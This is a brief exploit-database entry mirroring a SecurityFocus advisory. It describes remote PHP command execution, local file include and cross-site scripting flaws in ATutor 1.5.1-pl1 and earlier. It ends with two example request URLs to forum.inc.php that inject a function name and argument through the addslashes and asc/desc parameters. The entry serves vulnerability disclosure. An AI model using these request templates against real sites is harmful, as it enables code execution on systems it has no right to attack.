exploit-db-mirror/platforms/php/webapps/26431.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

11 lines
482 B
Text
Executable file

source: http://www.securityfocus.com/bid/15221/info
ATutor is prone to multiple vulnerabilities.
These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.
ATutor 1.5.1-pl1 and prior versions are affected.
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&asc=[parameter]
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&desc=[parameter]